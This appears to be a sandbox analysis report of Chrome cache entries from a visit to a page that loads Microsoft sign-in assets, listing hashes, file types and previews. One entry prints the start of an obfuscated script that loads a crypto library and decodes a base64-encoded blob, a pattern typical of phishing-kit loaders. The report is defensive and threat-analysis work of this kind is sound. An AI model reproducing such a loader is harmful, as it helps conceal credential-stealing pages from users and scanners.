Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	dropped
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	dropped
Size (bytes):	47521
Entropy (8bit):	5.398500199255723
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rH8zH5ei80aszzQhpd+dr6F/PG2Xv9PL79noBL5o6YBU91KL5Gc05:1a/0H8zH5eJdVplGYv9f96Yjy
MD5:	301F68F3D8317AB22D4021E266C9A853
SHA1:	B464B8B48880C53E9D203A2ACEAF3FDFEC517D97
SHA-256:	BF2059BE7007CD21FDD3B5DF727B89C8916142F7ABADFD46408DE17778699FB7
SHA-512:	1B2C5CABA6A54F6884E8DC40CB31FFDAA56DD3833DE8F97F0843811617207D1DF0ECEF75E9B88F652D42731E6784F6F51A7021FBB1515738DC5DE8E4B90A5682
Malicious:	false
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57510
Category:	dropped
Size (bytes):	16345
Entropy (8bit):	7.98960525258912
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:hOBKJBXO586QB+11J
MD5:	187B9EBA41FDF66B2C8F7EB645D2BC17
SHA1:	B1C034F7F5F754F271D094FB417B9A820C1F712C
SHA-256:	CA0FBF8421A0CF4CCDA7310B2AE74CBD92214901EC2D0F273EA3B07F12CF96EA
SHA-512:	0D7FB682D24E97C9E3FC04AA87CCB8EC508CA0CF197DA0617EFFD981BC8B5E3600824FDD08F1F31F59D276B5BF53229D00805D984E01D512FD968610C5FE9609
Malicious:	false
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 6 x 1, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.002585360278503
Encrypted:	false
SSDEEP:	3:yionv//thPloXOwkkxl/k4E08up:6v/lhPmewkk7Tp
MD5:	922E83C8BD5A1846FE30E9B10CB5C521
SHA1:	50570EE4B0CD815F34FB5440A3F372BDFB0E6F55
SHA-256:	3F58224F387739D59403E3D642975E8A87907742678B3ACF53A9C7ECDB8AD993
SHA-512:	CE6EA09F2C463BAEA3382990F7955949DB6A2E9F8039A6B9DFC884199929D77C2E00E63562B79DF8AAAC02A3BA95FD2291661759ECFEA942F4AACA73F7D8F6F1
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8ff1568eaca342db/1736393317397/H_MHCiTlQOd4REn
Preview:	.PNG........IHDR.............r.H.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1349), with CRLF line terminators
Category:	dropped
Size (bytes):	1987
Entropy (8bit):	5.9522348674877135
Encrypted:	false
SSDEEP:	48:Q7bFvdkB0oA7FnKIMf4iXxbxmPjbgOuItl3cyxn:QEB0oA7tKIxiXdgLbgOuIjcyx
MD5:	8D4ABC499B6FBD6731F9E2B316DCBB36
SHA1:	53D3E6C167CD2F53D63BFA85A939F7A19CCC59A2
SHA-256:	98A70A31B5E00A27F3FC8C3C80012F37B61DE6AFACDCE621AC9C32AB2A9273D0
SHA-512:	02DF4AC1E7F93B4935F37B47958658565A8FB3754BA24491D9B6190D3BF870CB9D480B0E8989651639D92471461B72F37A984A337AE468050018CD8C9359EF27
Malicious:	false
Preview:	var akaiWbAWAVInuEZs = document.createElement("script");..akaiWbAWAVInuEZs.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(akaiWbAWAVInuEZs);..akaiWbAWAVInuEZs.onload=function(){..var {a,b,c,d} = JSON.parse(atob("eyJhIjoidkdUcHB5QUlpRUtyNmRZUUd0bVk0SXNOQ1VkUmU2clRoVGRlcTZzRmtZT2FMRXZGcmNNM1YrOVNwY00zaEU5YXNzdWdJUVB6RjhGcFEwK2puN2o2dWQ2Q1JQM05OWUJEdTlWcFUxT0d6NVFxSU8wUWNHdHJscUN0a2xDXC84a0tSczdodHJRZWlkbURmZEVIQzRrcUlwXC9pWW5lRUoyY0MrWUNnclIxYWZYVUc3WlUwbzBPSUg0eUUwTVJHOVE1RTVcL1wvMlZKNE1pOFN0cklPdjBXcEFhc0Y2SHBxQk54WDUrdnVlRVJDbDA4bHl0M3FpZ3Awc1Jxc0ZiUVFhaXF1eTBvK3N3SnJ4TkE3aXowXC9XS2J0ZXZ5MlNyRE9tbnNOemVmTmNMUVBKY3FEWGc5cHBuaXBcL1pNRjFMWlJqTG9sWXhCaWlQcVJjbVFRZjF2V2l1S0FBS3RocG9JRUlFUW9YNDJyMXlxcURyM1wvXC9zT0FKYVJoUTVRbXRMZ1ZEV0Q1clMrZXJOV05mWkRlamRGMkxyUllCcjlNVWNCbTJaOG1za2cwNzUxTWtzQWhYMldoOUhMV05JNEt0cXMwVzhjS0tmWE9wSWFOSFwvM3pCYjFoTjN1a2EwSzZIM2hUQVZwSTdvazRmazVKdERKNGRzeDNHYkpcLzVFMzQ4NXI4U2RKN0RLb3JkcHU3UW

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113424
Category:	downloaded
Size (bytes):	20410
Entropy (8bit):	7.980582012022051
Encrypted:	false
SSDEEP:	384:8RvmaMFysnOXZ2m9zM+udO6GGUpeAU02oDGnN5EsQwWUQGTS8r2k:8pmm7ZFM+ObGGUIjN5PJV3Tp
MD5:	3BA4D76A17ADD0A6C34EE696F28C8541
SHA1:	5E8A4B8334539A7EAB798A7799F6E232016CB263
SHA-256:	17D6FF63DD857A72F37292B5906B40DC087EA27D7B1DEFCFA6DD1BA82AEA0B59
SHA-512:	8DA16A9759BB68A6B408F9F274B882ABB3EE7BA19F888448E495B721094BDB2CE5664E9A26BAE306A00491235EB94C143E53F618CCD6D50307C3C7F2EF1B4455
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css
Preview:	...........}k..6..w...R..J.H=GSI..x.9...}T.....)Q..f<...~.F.h..x..{+.-.....h..n....</v.ev......W.,.bU..rW.I...0x...C..2...6]..W_......../x.........~.z.}.\|.#x......AgO.\|XgU...4 .^'U...mP.A.].Z.U.!..Y.......:.ve.?.!..d.N...xJ...mR......0.@p...lKr/...E.-. .....\|l.4.o.i.......L.iF..T{.n....2....VEY.y=..=..T+V./.b....\....7.sH.w{.h.....!.."F.k.!.......d...mS.rh.&G.../..h&..RE"!.A/.......A....L...8.q.M...t[...R...>.6;R..^.Vu..9.[F........>A.:HT}w]......2........p......'T.^]}.^..yJ>.<..pq..h.\|..j....j.x..-...c...f...=".)..U.X'.M..l.]ZVtl\.I..}.0.~B0Y'.N...E.4.Xd..e...a.........."..9+d.&..l.$E..R.u.g.Q..w&...~I. .y..D.4;..'.."-.....b...)k.n.M...,3J.z_..&2f.h;.&.R.y..P..X.....\P.....r...B.$........<....H5.M.."'#.6mQl..mQ5.=.\...O.....^..jM..u.F..Oh.lNI..j..T..u...I..._........{.\...{..._\|..={O..z..>......x..5Q.D7?{...^...^.......o.=.z......v......z.C...Gtw...0!..M@....^...^.x..G....W...{...)..y.<c3...^>{......7._..'d__...;R.

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	dropped
Size (bytes):	5525
Entropy (8bit):	7.961202222662501
Encrypted:	false
SSDEEP:	96:dySl6/e7OAQD3cS66g8cxO4qXgy66F0+fgENU28TjN3KY6meSsj0ktMvB4YJix2I:dNl6/zFDW6dlXV665ReB67j0sEBWxl
MD5:	28CE5BF8BACB96D1C2CFA0092145C6EE
SHA1:	303A4629C4467AF2C551EC9E6353464C8C25827D
SHA-256:	6B89EEC14865DB53FE20FB3C70B0853362E21669DACE19C06172F673B2EDC5CD
SHA-512:	6A10794F105EF5C6F7F7DC2C89152A8342E6D9D8D9490783863ED2737FFD5982E916F72E0A9ECB944AB9815FA70BD20C7256A91E2A62D971F80C23822B809A02
Malicious:	false
Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...o....MG.+@.......\.?."...+[...A..&...{]......u..+p?......\|...j....7...=H..cwp.38.;%c.....O..............p...X.g!....r...d..5.%x.....;...j6p...p......c.Nd.:...&.....%.. tR.d.@.. ...1..6....i....:...s=..V...iN..1../tH..p<..Mo.......`&.7uA;..(lC.......4...?..0..[S@...D..\|....=.wh2...<.. ...)..F...!. .C...k...S.pPt......s..K.V...w......7....Zn.d..t]l.........5=.(..#.....l._.Ip......-O.6.,......q4....!XS`6k..k.....9k....{~*.....X....q......l.>x..={j.n..W......e..Q..I/..;a..MS>.!5v.d.B+.o.....q...j.q..Z..=..@g.1q..,yBV91m.j>..4.o...

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	downloaded
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57510
Category:	downloaded
Size (bytes):	16345
Entropy (8bit):	7.98960525258912
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:hOBKJBXO586QB+11J
MD5:	187B9EBA41FDF66B2C8F7EB645D2BC17
SHA1:	B1C034F7F5F754F271D094FB417B9A820C1F712C
SHA-256:	CA0FBF8421A0CF4CCDA7310B2AE74CBD92214901EC2D0F273EA3B07F12CF96EA
SHA-512:	0D7FB682D24E97C9E3FC04AA87CCB8EC508CA0CF197DA0617EFFD981BC8B5E3600824FDD08F1F31F59D276B5BF53229D00805D984E01D512FD968610C5FE9609
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 6 x 1, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.002585360278503
Encrypted:	false
SSDEEP:	3:yionv//thPloXOwkkxl/k4E08up:6v/lhPmewkk7Tp
MD5:	922E83C8BD5A1846FE30E9B10CB5C521
SHA1:	50570EE4B0CD815F34FB5440A3F372BDFB0E6F55
SHA-256:	3F58224F387739D59403E3D642975E8A87907742678B3ACF53A9C7ECDB8AD993
SHA-512:	CE6EA09F2C463BAEA3382990F7955949DB6A2E9F8039A6B9DFC884199929D77C2E00E63562B79DF8AAAC02A3BA95FD2291661759ECFEA942F4AACA73F7D8F6F1
Malicious:	false
Preview:	.PNG........IHDR.............r.H.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (7485), with CRLF line terminators
Category:	downloaded
Size (bytes):	19763
Entropy (8bit):	5.864001476215532
Encrypted:	false
